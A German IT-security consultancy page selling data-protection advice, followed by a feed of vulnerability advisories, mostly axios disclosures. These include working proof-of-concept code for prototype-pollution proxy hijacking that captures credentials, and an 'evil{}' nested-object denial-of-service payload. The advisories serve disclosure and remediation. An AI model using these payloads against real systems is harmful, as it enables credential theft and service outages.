Beratung zu IT-Sicherheit & Datenschutz


Die Datenschutz-Grundverordnung beziehungsweise das Bundesdatenschutzgesetz betreffen uns alle - jeder, der Daten von Dritten erfasst, speichert oder verarbeitet muss den europäischen Standard einhalten. Die umfangreichen Gesetzestexte regeln Rechte und Pflichten aber auch technische und organisatorische Maßnahmen zum Datenschutz, Aufbewahrungspflichten, Sicherheitsstandards und Vorgaben zur Dokumentation von Verfahren und Vorfällen sowie die Vorgaben zur Berufung eines Datenschutzbeauftragten mit einer besonderen Aufsichts- und Beratungspflicht.

Die DSGVO und das BDSG sollte dabei nicht nur schriftlich in langen Rechtstexten, Datenschutzhinweisen und Verfahrensdokumentationen umgesetzt werden sondern es sollten konkrete technische Standards etabliert und eingehalten werden um dem Verlust von Daten vorzubeugen, der unberechtigten Nutzung von Daten einhalt zu gebieten und Angreifer und Hacker zuverlässig abzuwehren.

Da umfangreiches Know-How sowohl im Bezug auf die Rechtsgrundlagen als auch auf die technischen Risiken und Möglichkeiten erforderlich sind um ein angemessenes Datenschutzkonzept zu etablieren haben viele Unternehmen große Schwierigkeiten bei der Umsetzung. Unsere IT- und Datenschutzberatung setzt hier an - mit unserer Expertise können wir Sie dabei unterstützen Datenschutz technisch und rechtlich angemessen umzusetzen.
Wir unterstützen Sie gerne! »

  Unsere Leistungen

Datenschutzberatung durch geprüften DSB
Umsetzung von IT-Richtlinien / Gesetzen
Analyse & Beratung zur IT-Sicherheit
Erstellung von Dokumentationen



Was steckt dahinter?

Das "Who is Who" - DSGVO, GDPR, BDSG, TMG, ...
Innerhalb der EU gilt seit 2018 die sogenannte General Data Protection Regulation (GDPR), die in Deutschland unter der Bezeichnung "Datenschutz-Grundverordnung" (DSGVO) in nationales Recht umgesetzt wurde. Das Bundesdatenschutzgesetz (BDSG) präzisiert die Regelungen der DSGVO und fügt weitere nationale Regelungen hinzu. Für Betreiber von Internetangeboten ist zudem das Telemediengesetzes (TMG) relevant. Dies bezieht sich allerdings weniger auf den Datenschutz als auf grundlegende Regelungen im IT-Recht.

Was ist Datenschutzberatung?
Unser TÜV geprüfter Datenschutzbeauftragter mit juristischer Qualifikation berät Sie gerne zu Fragen rund um die Umsetzung von Datenschutzrecht in Ihren konkreten Projekten. Darüber hinausgehende zivilrechtliche Fragestellungen hingegen fallen nicht in den Bereich der Datenschutzberatung.




Die rechtliche Seite: DSGVO

Die DSGVO beziehungsweise das Bundesdatenschutzgesetz stellen verschiedene Forderungen an Unternehmen und Organisationen die zwingend einzuhalten sind um rechtskonform Daten zu verarbeiten. Als Verarbeiter von Daten zählen Sie schon dann, wenn Sie die Daten von Mitarbeitenden oder Kunden erfassen oder speichern.

Damit gilt die DSGVO sowohl für Kleinstunternehmen und Vereine wie auch für große Unternehmen und global Player.

Während die gesetzlichen Regelungen in vielen Bereichen sehr präzise Vorgaben machen welche Dokumente und Verfahren es geben muss und welche Rechte, Pflichten und Fristen gelten, gibt es in vielen Bereichen auch große Unsicherheiten. Häufiger werden Maßnahmen gefordert die sich am Stand der Technik orientieren oder technische Notwendigkeit und Machbarkeit zur Maßgabe machen.

Im Rahmen einer rechtlichen Datenschutzberatung geht es darum Sie über Ihre Rechte und Pflichten als Datenverarbeiter zu informieren und gemeinsam zu prüfen und sicherzustellen, dass die geforderten Unterlagen und Prozesse korrekt umgesetzt werden. Wir zeigen Ihnen gernen auch Tools und Best Practices zur Umsetzung der Rechte Betroffener und Ihrer Pflichten als Verarbeiter.

Wir unterstützen Sie dabei den Überblick zu bewahren!

Die technische Seite: IT-Sicherheit

Während die rechtliche Seite sich viel mit Fragen nach Rechten und Pflichten, der Haftung und der Verantwortung beschäftigt, ist die technische Seite des Datenschutzes sehr viel präziser:

Wie verhindern Sie, dass Ihre Daten in falsche Hände kommen?

Sie sammeln und verarbeiten vermutlich jeden Tag Daten von Dritten und speichern diese in internen Tools, verarbeiten sie auf Ihren oder fremden Servern, übertragen Sie zu Dienstleistern oder bauen sogar einen wesentlichen Teil Ihrer Tätigkeit auf der Verarbeitung auf.

Ein potentieller Angreifer oder Hacker versucht stets den schwächsten Punkt zu identifizieren, um Zugriff zu Ihren Daten zu erlangen. Häufig nutzen Hacker dazu bekannte Sicherheitslücken nicht aktualisierter Systeme aus, suchen nach vergessenen oder auch versehentlich offen stehenden Türen oder greifen sensible Zugangsdaten ab, wodurch sie auch ohne große Anstrengungen unberechtigten Zugang erlangen und viel Schaden anrichten können. Dabei müssen Sie nichtmal das primäre Ziel des Angriffs sein, sondern könnten vermeintlich auch Opfer eines größer angelegten Angriffs auf mehrere Unternehmen werden.

Wir unterstützen Sie dabei, ein Sicherheitskonzept in Ihrer IT zu etablieren und die Angriffflächen zu reduzieren.





IT-Sicherheit - bleiben Sie auf dem Laufenden


Täglich werden neue Schwachstellen, Angriffs-Vektoren, Cyber-Attaken und Fehler in Software, Netzwerken und Infrastrukturen bekannt - teilweise betreffen diese nur bestimmte Softwarelösungen oder spezifische Szenarien, manchmal betreffen Sie jedoch auch ganze Industriezweige, weit verbreitete Arbeitsweisen und grundlegende Technologien wie bei Heartbleed (SSL) oder Log4Shell (Protokollierung). Ergreifen Sie Maßnahmen, um Ihre Infrastruktur und Daten sicher zu halten.

Gemeinsam erfassen wir, welche Komponten und Abhängigkeiten Sie einsetzen und überwachen die CVE und viele weitere Quellen um im Falle von Mängeln oder Angriffspunkten schnell handeln zu können.

Wir simulieren Angriffe und Testen Ihre Anwendungen, Webseiten, die Infrastruktur und Prozesse auf mögliche Sicherheitslücken, Mängel und Angriffsvektoren um Risiken fürhzeitig zu erknennen und Lücken zu schließen.

Wir implementieren aktiv Monitore und überwachen somit Anfragen um frühzeitig Angriffe und verdächtige Aktivitäten zu identifizieren. Verdächte Aktivitäten können zur Alarmierung oder zu automatischen Sperrungen und Ausschlüssen führen, um einen hohen Standard zu gewährleisten.


Den Bedrohungen der IT-Welt sind Sie nicht schutzlos ausgeliefert - es ist jedoch wichtig dem Thema IT-Sicherheit Aufmerksamkeit zu schenken, um einen verantwortungsbewussten und rechtskonformen Umgang mit Unternehmens- und Kundendaten zu gewährleisten.
Risiko / Label Veröffentlichung
Risiko 9.8 / 10 CVE-2025-1889 gerade eben
picklescan before 0.0.22 only considers standard pickle file extensions in the scope for its vulnerability scan. An attacker could craft a malicious model that uses Pickle and include a malicious pickle file with a non-standard file extension. Because the malicious pickle file inclusion is not considered as part of the scope of picklescan, the file would pass security checks and appear to be safe, when it could instead prove to be problematic.
Risiko 9.8 / 10 CVE-2024-8309 gerade eben
A vulnerability in the GraphCypherQAChain class of langchain-ai/langchain-community version 0.2.5 allows for SQL injection through prompt injection. This vulnerability can lead to unauthorized data manipulation, data exfiltration, denial of service (DoS) by deleting all data, breaches in multi-tenant security environments, and data integrity issues. Attackers can create, update, or delete nodes and relationships without proper authorization, extract sensitive data, disrupt services, access data across different tenants, and compromise the integrity of the database.
Risiko 7.5 / 10 GHSA-gcfj-64vw-6mp9 vor 1 Stunde(n)
## Summary Axios’ Node.js HTTP adapter can route requests through an attacker-controlled proxy when `Object.prototype.proxy` is polluted and request configuration is materialized as a regular object before dispatch. Recent axios releases harden merged request config by creating a null-prototype object. However, request interceptors run after that merge and may return a replacement config. A common immutable interceptor pattern such as `{...config}` or `Object.assign({}, config)` converts the hardened config back into a normal object. Axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads `config.proxy` through the prototype chain. ## Impact In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can route affected HTTP requests through an attacker-controlled proxy. The highest confirmed impact is for plaintext HTTP requests. The proxy can observe explicit `Authorization` headers, axios-generated Basic auth from `config.auth`, request method, absolute URL, `Host`, and request body content. The proxy can also return its own response to axios for the affected request. This does not establish browser impact. It also does not establish HTTPS header or body disclosure under normal TLS validation. ## Affected Functionality Affected functionality is limited to axios requests that use the Node.js HTTP adapter, including default Node usage when the HTTP adapter is selected and explicit `adapter: 'http'` usage. The relevant configuration path is `config.proxy` in the Node HTTP adapter. The hardened-bypass path requires a request interceptor such as: ```js api.interceptors.request.use((config) => ({ ...config, headers: { ...config.headers, 'X-App': 'demo' } })); ``` Unaffected or mitigating conditions include browser adapters, the Node fetch adapter, no polluted `Object.prototype.proxy`, an own `proxy: false` or safe own `proxy` value on the config, and hardened releases where interceptors return the original null-prototype config instead of a regular object clone. ## Technical Details `lib/core/mergeConfig.js` creates a null-prototype merged config and uses own-property reads for merged values. This is intended to prevent polluted `Object.prototype` values from affecting config behavior. `lib/core/Axios.js` runs request interceptors after the merge. In both the asynchronous and synchronous interceptor paths, axios passes the interceptor-returned config into dispatch. `lib/core/dispatchRequest.js` accepts that returned config, transforms request data, selects the adapter, and calls the adapter without re-hardening or re-normalizing the config. `lib/adapters/http.js` uses own-property reads for several sensitive fields, but the initial proxy dispatch path still passes `config.proxy` directly into `setProxy()`. If an interceptor returned a regular object, `config.proxy` can resolve to inherited `Object.prototype.proxy`. ## Proof of Concept of Attack ```js import axios from './index.js'; import http from 'node:http'; for (const key of [ 'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY', 'http_proxy', 'https_proxy', 'all_proxy', 'NO_PROXY', 'no_proxy' ]) { delete process.env[key]; } const listen = (handler) => new Promise((resolve, reject) => { const server = http.createServer(handler); server.once('error', reject); server.listen(0, '127.0.0.1', () => resolve(server)); }); const close = (server) => new Promise((resolve) => server.close(resolve)); const targetHits = []; const proxyHits = []; const target = await listen((req, res) => { targetHits.push(req.url); res.end('target'); }); const proxy = await listen((req, res) => { let body = ''; req.on('data', (chunk) => body += chunk); req.on('end', () => { proxyHits.push({ url: req.url, authorization: req.headers.authorization, host: req.headers.host, body }); res.setHeader('content-type', 'application/json'); res.end('{"server":"proxy"}'); }); }); Object.prototype.proxy = { protocol: 'http', host: '127.0.0.1', port: proxy.address().port }; const api = axios.create(); api.interceptors.request.use((config) => ({ ...config, headers: { ...config.headers, 'X-App': 'demo' } })); try { const url = `http://127.0.0.1:${target.address().port}/api/secret`; const res = await api.post( url, {secret: 'request-body-secret'}, {headers: {Authorization: 'Bearer EXPLICIT_SECRET'}} ); console.log({ response: res.data, targetHits, proxyHits, finalConfigHasOwnProxy: Object.hasOwn(res.config, 'proxy') }); } finally { delete Object.prototype.proxy; await close(target); await close(proxy); } ``` Expected vulnerable result: the response comes from the proxy, `targetHits` is empty, and `proxyHits` contains the absolute URL, authorization header, host header, and request body. ## Workarounds Set an own `proxy: false` on affected requests or on an axios instance when proxy support is not required. Avoid request interceptors that return regular object clones of config in hardened releases. Returning the original config or cloning into a null-prototype object avoids this specific bypass, but this is fragile and should not replace a fix. Use the Node fetch adapter for affected requests where its behavior is compatible with the application.
Original Report ## Summary Axios hardens merged request config by creating a null-prototype object, preventing polluted Object.prototype properties from influencing request behavior. Request interceptors run after that hardening, and a normal immutable interceptor pattern such as {...config} or Object.assign({}, config) re-materializes the config as a regular object. Axios then dispatches that interceptor-returned object without re-hardening it. In the Node HTTP adapter, config.proxy is read through the prototype chain, allowing a polluted Object.prototype.proxy to route authenticated HTTP requests through an attacker-controlled proxy. ## Impact In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can cause affected axios requests to be sent through an attacker-controlled proxy when the application uses a request interceptor that returns a plain object copy of the config. Verified local impact: - Authenticated request redirection to attacker-controlled proxy. - Disclosure of explicit Authorization headers. - Disclosure of axios-generated Basic auth headers from config.auth. - Disclosure of request metadata: method, absolute URL, Host header. - Disclosure of POST body content. This report does not claim browser impact or proven HTTPS credential disclosure. The demonstrated credential and body disclosure is for Node HTTP-adapter requests over HTTP/plaintext. ## Affected component The affected component is the Node.js HTTP adapter request path after request interceptors have run. The issue requires: - Node.js HTTP adapter usage. - A polluted Object.prototype.proxy. - A request interceptor that returns a plain object copy of the config. - No own proxy: false or safe own proxy property on the request config. ## Affected versions Confirmed affected for this specific hardening-bypass variant: - axios@1.15.2 - axios@1.16.0 axios@1.16.0 was the latest published version observed via npm view axios version during validation. Related older behavior observed during testing: - 1.13.0, 1.13.6, 1.14.0, 1.15.0, and 1.15.1 routed via inherited Object.prototype.proxy even without the interceptor re-materialization step. That is related background, not the narrowed hardening-bypass variant described here. ## Root cause 1. Initial hardening Axios initially hardens merged request config by creating a null-prototype object in mergeConfig(), which is meant to prevent inherited Object.prototype properties from influencing request behavior. Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25 2. Interceptor re-materialization Request interceptors run after that hardening step, and axios allows an interceptor to return a replacement config object. A common immutable pattern such as {...config} or Object.assign({}, config) converts the hardened null- prototype config back into a normal object with Object.prototype as its prototype. Permalinks: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199, https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218 3. No post-interceptor re-hardening Axios passes the interceptor-returned config into request dispatch without restoring the null-prototype property or otherwise normalizing the object into an own-property-only structure. Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48 4. Prototype-chain read of proxy in the Node adapter The Node HTTP adapter later consults config.proxy, and this read is reachable through the prototype chain once the interceptor has re-materialized the config as a normal object. As a result, a polluted Object.prototype.proxy can redirect the outgoing authenticated request through an attacker-controlled proxy. Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820 ## Why this is a security issue and not intended behavior Axios’ threat model explicitly treats polluted Object.prototype config reads as high-impact read-side gadgets and states that axios defends reachable config-read gadgets through own-property checks and null-prototype structures. The existing regression tests also assert that a polluted Object.prototype.proxy must not route requests through an attacker proxy. This behavior is therefore a bypass of axios’ existing prototype-pollution hardening, not merely a generic “polluted process” complaint. The interceptor does not need to be malicious; it can be ordinary application code that returns an immutable copy of the config. The attacker-controlled piece is the polluted prototype property supplied by a separate vulnerability or dependency. ## Realistic threat model A realistic exploit chain is: 1. A transitive dependency or upstream parser bug allows prototype pollution in a Node.js process. 2. The polluted property is Object.prototype.proxy, with host and port pointing to an attacker-controlled proxy. 3. The application uses axios with a request interceptor that returns a plain object copy, such as adding headers immutably. 4. The application sends an HTTP request with credentials or sensitive body data. 5. Axios routes that request through the inherited proxy configuration. This requires a prototype pollution primitive and a compatible interceptor pattern. It does not require the attacker to control the interceptor. ## Proof of concept Save as poc.mjs in the axios repository root: ```js import axios from './index.js'; import http from 'node:http'; const proxyEnvKeys = [ 'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY', 'http_proxy', 'https_proxy', 'all_proxy', 'NO_PROXY', 'no_proxy' ]; for (const key of proxyEnvKeys) delete process.env[key]; const listen = (handler) => new Promise((resolve, reject) => { const server = http.createServer(handler); server.once('error', reject); server.listen(0, '127.0.0.1', () => resolve(server)); }); const close = (server) => new Promise((resolve) => server.close(resolve)); const targetHits = []; const proxyHits = []; const target = await listen((req, res) => { let body = ''; req.on('data', (chunk) => body += chunk); req.on('end', () => { targetHits.push({ url: req.url, method: req.method, authorization: req.headers.authorization || null, body }); res.writeHead(200, {'Content-Type': 'application/json'}); res.end(JSON.stringify({server: 'target'})); }); }); const proxy = await listen((req, res) => { let body = ''; req.on('data', (chunk) => body += chunk); req.on('end', () => { proxyHits.push({ url: req.url, method: req.method, authorization: req.headers.authorization || null, host: req.headers.host || null, body }); res.writeHead(200, {'Content-Type': 'application/json'}); res.end(JSON.stringify({server: 'proxy'})); }); }); Object.prototype.proxy = { protocol: 'http', host: '127.0.0.1', port: proxy.address().port }; const api = axios.create(); api.interceptors.request.use((config) => ({ ...config, headers: { ...config.headers, 'X-App': 'demo' } })); try { const url = `http://127.0.0.1:${target.address().port}/api/secret`; const explicit = await api.get(url, { headers: {Authorization: 'Bearer EXPLICIT_SECRET'} }); proxyHits.length = 0; targetHits.length = 0; const basic = await api.get(url, { auth: {username: 'svc-account', password: 'prod-secret'} }); proxyHits.length = 0; targetHits.length = 0; const post = await api.post(url, {secret: 'request-body-secret'}, { headers: {Authorization: 'Bearer EXPLICIT_SECRET'} }); console.log(JSON.stringify({ explicitResponse: explicit.data, basicResponse: basic.data, postResponse: post.data, targetHits, proxyHits, finalConfigPrototype: Object.getPrototypeOf(post.config) === Object.prototype ? 'Object.prototype' : 'other', finalConfigHasOwnProxy: Object.prototype.hasOwnProperty.call(post.config, 'proxy') }, null, 2)); } finally { delete Object.prototype.proxy; await close(target); await close(proxy); } ``` Run: ```bash npm ci node poc.mjs ``` ## Observed results Representative observed output from local loopback testing: ```text { "explicitResponse": {"server": "proxy"}, "basicResponse": {"server": "proxy"}, "postResponse": {"server": "proxy"}, "targetHits": [], "proxyHits": [ { "url": "http://127.0.0.1:40613/api/secret", "method": "POST", "authorization": "Bearer EXPLICIT_SECRET", "host": "127.0.0.1:40613", "body": "{\"secret\":\"request-body-secret\"}" } ], "finalConfigPrototype": "Object.prototype", "finalConfigHasOwnProxy": false } Additional validation showed axios-generated Basic auth is also disclosed to the proxy: { "authorization": "Basic c3ZjLWFjY291bnQ6cHJvZC1zZWNyZXQ=" } ``` That value decodes to: svc-account:prod-secret Negative controls were also tested: - No interceptor: target receives request, proxy receives none. - Interceptor mutating and returning the same config object: proxy receives none. - Own proxy: false: proxy receives none. - Null-prototype clone interceptor: proxy receives none. - Fetch adapter in Node with the same interceptor: proxy receives none. ## Suggested remediation Re-harden the final request config after all request interceptors and before adapter dispatch. This should cover both asynchronous and synchronous interceptor paths. A practical fix would be to normalize the interceptor-returned object into a null-prototype, own-property-only config before calling dispatchRequest(), or at the start of dispatchRequest() itself. Security-sensitive adapter reads should also consistently use own-property access helpers. In particular, the Node HTTP adapter should not read config.proxy through the prototype chain. ## Minimal regression test Add an end-to-end Node HTTP adapter test that: 1. Starts a target server and attacker proxy on 127.0.0.1. 2. Sets Object.prototype.proxy to the attacker proxy. 3. Adds a request interceptor returning {...config, headers: {...config.headers}}. 4. Sends a request with an Authorization header. 5. Asserts the target server receives the request. 6. Asserts the attacker proxy receives no request. 7. Asserts the final config no longer exposes inherited proxy. A second assertion can cover config.auth to ensure axios-generated Basic auth is not sent to the attacker proxy. ## References / permalinks - mergeConfig() null-prototype hardening: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25 - Async interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199 - Synchronous interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218 - dispatchRequest() receives interceptor-returned config: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48 - Node HTTP adapter config.proxy read: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820 - Axios threat model for prototype-pollution read-side gadgets: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/THREATMODEL.md#L136-L144 - Existing proxy pollution regression test intent: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/tests/unit/prototypePollution.test.js#L1098-L1135
Risiko 5 / 10 GHSA-hcpx-6fm6-wx23 vor 1 Stunde(n)
## Summary Axios versions in the fixed lines for GHSA-62hf-57xw-28j9 still contain an incomplete depth-limit bypass in `lib/helpers/toFormData.js`. When serializing an object with a top-level key ending in `{}`, axios calls `JSON.stringify()` on that value before the `formSerializer.maxDepth` guard can inspect the nested structure. An attacker who can control object keys and nested values passed by an application into axios form or parameter serialization can trigger a raw `RangeError: Maximum call stack size exceeded`, causing a denial of service in the affected request path. ## Impact The impact is availability only. No confidentiality or integrity impact was confirmed. Server-side applications are the primary concern when they accept user-controlled input and pass it into axios as `data` or `params` for `multipart/form-data`, `application/x-www-form-urlencoded`, or default parameter serialization. Browser impact is limited to the page or request context unless the application builds a broader failure mode around the thrown exception. The attack requires control over a top-level object key ending in `{}` and a deeply nested object value. The option `formSerializer.metaTokens: false` is not a workaround because it only changes the emitted key name; the value is still stringified. ## Affected Functionality Affected paths include: - `lib/helpers/toFormData.js` when a top-level key ends with `{}`. - `lib/helpers/toURLEncodedForm.js`, which delegates to `helpers.defaultVisitor`. - `lib/helpers/AxiosURLSearchParams.js`, used by default params serialization. - Request transforms in `lib/defaults/index.js` when object data is serialized as `multipart/form-data` or `application/x-www-form-urlencoded`. Unaffected paths include: - Already-created `FormData` or `URLSearchParams` values that axios does not walk with `toFormData`. - Custom `paramsSerializer.serialize` implementations that do not call axios `toFormData`. - Non-`{}` deeply nested values in `toFormData`, which hit `ERR_FORM_DATA_DEPTH_EXCEEDED` as intended. ## Technical Details In `lib/helpers/toFormData.js`, `defaultVisitor()` handles top-level keys ending in `{}` before recursive traversal: ```js if (value && !path && typeof value === 'object') { if (utils.endsWith(key, '{}')) { key = metaTokens ? key : key.slice(0, -2); value = JSON.stringify(value); } } ``` The depth guard is in `build()`: ```js if (depth > maxDepth) { throw new AxiosError( 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth, AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED ); } ``` For `{}` metatoken values, `build()` only sees the top-level property. The nested value is handed directly to native `JSON.stringify()`, which recurses internally and can throw `RangeError` before axios emits the intended `AxiosError`. ## Proof of Concept of Attack Safe local PoC with no network I/O: ```js import toFormData from './lib/helpers/toFormData.js'; function buildDeep(depth) { const head = {}; let cur = head; for (let i = 0; i < depth; i += 1) { cur.x = {}; cur = cur.x; } return head; } try { toFormData({ 'evil{}': buildDeep(10000) }); } catch (err) { console.log(err.name, err.code || '', err.message); } // Expected affected result: // RangeError Maximum call stack size exceeded ``` Expected fixed behavior is an `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED`. ## Workarounds Reject or depth-limit untrusted objects before passing them to axios serialization. Strip or reject top-level keys ending in `{}` from untrusted objects when using axios form serialization. For query parameters, use a custom `paramsSerializer.serialize` that enforces a depth limit. For form bodies, construct `FormData` or `URLSearchParams` manually after validating input depth.
Original Report ## Summary The `maxDepth=100` guard added in axios 1.15.0 to fix GHSA-62hf-57xw-28j9 lives inside the `build()` recursion in `lib/helpers/toFormData.js`. The default visitor at `lib/helpers/toFormData.js:166-170` still has a top-level shortcut that calls `JSON.stringify(value)` whenever a key ends in `'{}'`, before `build()` ever sees the nested value. JSON.stringify on a deeply nested object stack-overflows with `RangeError: Maximum call stack size exceeded`, which propagates synchronously out of the axios call. The exact attacker-data flow that the original advisory described (proxy-style code that forwards client JSON into `axios({ data, params })`) still crashes the process at depth ~3000 on a default Node.js stack, despite v1.16.0 being patched. ## Details Affected: axios 1.15.0 - 1.16.0 (every released version that carries the GHSA-62hf-57xw-28j9 fix). The bug is reachable from any code path that hits `toFormData`, which includes: - `axios.post(url, data, { headers: { 'content-type': 'application/x-www-form-urlencoded' } })` -> `defaults.transformRequest` -> `toURLEncodedForm(data)` -> `toFormData` - `axios.post(url, data, { headers: { 'content-type': 'multipart/form-data' } })` -> same path via `toFormData` - `axios.get(url, { params })` -> `buildURL` -> `new AxiosURLSearchParams(params)` -> `toFormData` Vulnerable code, `lib/helpers/toFormData.js`: ```javascript // 156 function defaultVisitor(value, key, path) { // 165 if (value && !path && typeof value === 'object') { // 166 if (utils.endsWith(key, '{}')) { // 167 // eslint-disable-next-line no-param-reassign // 168 key = metaTokens ? key : key.slice(0, -2); // 169 // eslint-disable-next-line no-param-reassign // 170 value = JSON.stringify(value); // <-- V8 native, NOT depth-checked // 171 } else if (... ``` `build()` later does enforce `maxDepth`: ```javascript // 211 function build(value, path, depth = 0) { // 212 if (utils.isUndefined(value)) return; // 213 // 214 if (depth > maxDepth) { // 215 throw new AxiosError( // 216 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth, // 217 AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED // 218 ); ``` The `'{}'` shortcut runs in `defaultVisitor`, which is invoked from inside `build()` for top-level keys (the `!path` clause at line 165 means the shortcut only triggers at top level, where `path` is `undefined`). At that point `depth === 0` and the maxDepth check has already passed; the recursion-aware guard never sees the nested value because `defaultVisitor` reassigns `value = JSON.stringify(value)` and returns the rendered string straight to `formData.append`. JSON.stringify itself is recursive in V8 and stack-overflows on deeply nested objects, throwing `RangeError` synchronously. The behaviour is independent of the `metaTokens` option: line 168 only changes whether `'{}'` stays on the key name, line 170 stringifies regardless. `toURLEncodedForm`'s wrapper visitor in `lib/helpers/toURLEncodedForm.js:11-14` falls through to the same `defaultVisitor`, so the form-encoded path is also affected. The attacker payload is a single top-level key ending in `'{}'` whose value is a nested object. The keys themselves do not have to be deep, so the payload is small to send (a few KB of `{"x":{"x":...}}` produces enough nesting to overflow). The original advisory's threat model -- a server that forwards `req.body` or `req.query` into axios -- is unchanged: ```javascript app.post('/forward', async (req, res) => { await axios.post('https://upstream/api', req.body); // req.body attacker-controlled res.send('ok'); }); // attacker POST /forward with content-type: application/x-www-form-urlencoded // body: {"evil{}": <8000-deep object>} // -> JSON.stringify recurses inside defaultVisitor -> RangeError -> handler crashes ``` The error is not an `AxiosError`; it is a raw `RangeError` thrown from the stringifier, so handlers that look for `err.code === 'ERR_FORM_DATA_DEPTH_EXCEEDED'` (the documented signal that the maxDepth guard fired) do not see it. Synchronous startup paths or worker threads still take the whole process down. The fix is to also depth-limit (or pre-walk) the value before calling `JSON.stringify` on line 170, or to remove the top-level `'{}'` shortcut and rely on the depth-checked `build()` recursion to handle it. A minimal patch that preserves observable behaviour for legal payloads: ```diff if (utils.endsWith(key, '{}')) { // eslint-disable-next-line no-param-reassign key = metaTokens ? key : key.slice(0, -2); + // Reject objects that would exceed maxDepth before handing to JSON.stringify, + // which is recursive in V8 and stack-overflows on deeply nested input. + (function checkDepth(v, d) { + if (d > maxDepth) { + throw new AxiosError( + 'Object is too deeply nested (' + d + ' levels). Max depth: ' + maxDepth, + AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED + ); + } + if (v && typeof v === 'object') { + for (const k in v) checkDepth(v[k], d + 1); + } + })(value, 0); // eslint-disable-next-line no-param-reassign value = JSON.stringify(value); } ``` (The recursion in `checkDepth` itself is bounded by `maxDepth`, so it cannot itself overflow.) ## PoC Reproduces against a clean clone of `axios/axios` at v1.16.0 with `npm install` already run. `targets/axios/poc_jsonstringify_dos.mjs` is the script: ```javascript import axios from './source/index.js'; function buildDeep(depth) { let head = {}; let cur = head; for (let i = 0; i < depth; i++) { cur.x = {}; cur = cur.x; } return head; } const malicious = buildDeep(5000); const safeAdapter = () => Promise.resolve({ data: 'never reached', status: 200, statusText: 'OK', headers: {}, config: {} }); // 1. POST x-www-form-urlencoded try { await axios.post('http://example.test/x', { 'evil{}': malicious }, { headers: { 'content-type': 'application/x-www-form-urlencoded' }, adapter: safeAdapter }); } catch (e) { console.log('POST form-encoded:', e.name, '-', e.message); } // 2. GET with params try { await axios.get('http://example.test/x', { params: { 'evil{}': malicious }, adapter: safeAdapter }); } catch (e) { console.log('GET params:', e.name, '-', e.message); } ``` 3/3 runs reproduce the same `RangeError` on `axios@1.16.0` with Node.js 24: ``` $ node poc_jsonstringify_dos.mjs POST form-encoded: RangeError - Maximum call stack size exceeded GET params: RangeError - Maximum call stack size exceeded ``` `safeAdapter` is a stub that returns a fake response, so the crash is provably inside axios's serialization layer, not in HTTP I/O. Removing the `'{}'` suffix from the key and re-running gives the expected `AxiosError: Object is too deeply nested ... ERR_FORM_DATA_DEPTH_EXCEEDED` from the maxDepth guard, confirming the fix is wired correctly elsewhere -- it just does not cover this branch. Crash threshold on a default-stack Node.js process is roughly depth 2500-3000; 8000 is comfortably above that, and the payload is a few KB. ## Impact A remote, unauthenticated attacker who can influence an object that the application passes to axios as request `data` or `params` triggers an uncaught `RangeError` from inside the synchronous `JSON.stringify` call in `defaultVisitor`. In server-side applications that proxy or re-forward client JSON through axios -- the same threat model that motivated GHSA-62hf-57xw-28j9 -- this crashes the request handler and, in worker/cluster setups, the whole process. The previously shipped `maxDepth` guard does not stop it because the `'{}'` suffix path bypasses `build()` entirely. Same severity class as the original advisory (CWE-674 Uncontrolled Recursion, network-reachable DoS); the only difference is the attacker has to suffix one of their object keys with `'{}'` to land on the unguarded code path.
Risiko 5 / 10 GHSA-7q8q-rj6j-mhjq vor 1 Stunde(n)
## Summary Axios can consume inherited properties from nested request option objects when the JavaScript process already has a polluted `Object.prototype`. The top-level merged config is protected with a null prototype, but nested plain objects such as `auth` and `paramsSerializer` are cloned into ordinary objects. If application code passes placeholders such as `auth: {}` or `paramsSerializer: {}`, inherited `username`, `password`, `encode`, or `serialize` properties can influence outbound requests. ## Impact This is reachable only when another component has already polluted `Object.prototype` and the application passes an affected nested axios option object. Confirmed impacts include silent injection of an `Authorization: Basic ...` header from inherited `username` and `password` values, and query-string tampering when inherited `paramsSerializer` fields are function-valued. The `auth` case requires only string-valued pollution. Full query-string replacement through `paramsSerializer.serialize` requires a function-valued pollution primitive; string-only pollution may still cause request failures or encoding changes through `encode`. This does not mean every axios request is affected. Requests that do not pass `auth`, do not pass `paramsSerializer`, or provide explicit own properties for the relevant nested fields are not affected by this specific gadget. ## Affected Functionality Affected runtime functionality: - Node HTTP adapter Basic auth handling in `lib/adapters/http.js`. - Browser/fetch/XHR Basic auth handling through `lib/helpers/resolveConfig.js`. - Query serialization through `lib/helpers/buildURL.js`. - `axios.getUri()` when called with an affected `paramsSerializer` object. Affected config shapes: - `auth: {}` or an `auth` object missing own `username` and/or `password`. - `paramsSerializer: {}` or a `paramsSerializer` object missing own `encode` 